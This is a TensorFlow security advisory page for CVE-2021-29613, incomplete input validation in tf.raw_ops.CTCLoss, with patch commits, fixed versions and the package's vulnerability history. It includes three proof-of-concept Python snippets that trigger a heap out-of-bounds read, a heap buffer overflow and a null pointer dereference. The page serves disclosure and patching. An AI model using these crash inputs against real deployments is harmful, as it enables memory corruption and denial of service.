Incomplete validation in `tf.raw_ops.CTCLoss`
Impact
Incomplete validation in tf.raw_ops.CTCLoss allows an attacker to trigger an OOB read from heap:
import tensorflow as tf
inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32)
labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64)
labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32)
sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
labels_values=labels_values, sequence_length=sequence_length,
preprocess_collapse_repeated=True, ctc_merge_repeated=False,
ignore_longer_outputs_than_inputs=True)An attacker can also trigger a heap buffer overflow:
import tensorflow as tf
inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32)
labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64)
labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
labels_values=labels_values, sequence_length=sequence_length,
preprocess_collapse_repeated=False, ctc_merge_repeated=False,
ignore_longer_outputs_than_inputs=False)Finally, an attacker can trigger a null pointer dereference:
import tensorflow as tf
inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32)
labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64)
labels_values = tf.constant([], shape=[0], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
labels_values=labels_values, sequence_length=sequence_length,
preprocess_collapse_repeated=False, ctc_merge_repeated=False,
ignore_longer_outputs_than_inputs=False)Patches
We have patched the issue in GitHub commit14607c0707040d775e06b6817325640cb4b5864c followed by GitHub commit 4504a081af71514bb1828048363e6540f797005b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-cpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-gpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vvg4-vgrv-xfr7
- https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c
- https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b
- https://nvd.nist.gov/vuln/detail/CVE-2021-29613
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-541.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-739.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-250.yaml
- https://github.com/tensorflow/tensorflow
- CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H- Weakness (CWE)
CWE-125, CWE-665- Platform
- Python (PyPI)
- Package
tensorflow, tensorflow-cpu, tensorflow-gpu- Disclosed
- 14.05.2021
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2021-250 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-541 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-739 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-vvg4-vgrv-xfr7 - CC BY 4.0
Vulnerability history: tensorflow-cpu
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 430
- First → latest
- 04.2019 07.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 6
- High 111
- Medium 208
- Low 105
Disclosures per year
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
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Incomplete validation in `tf.raw_ops.CTCLoss` this entry
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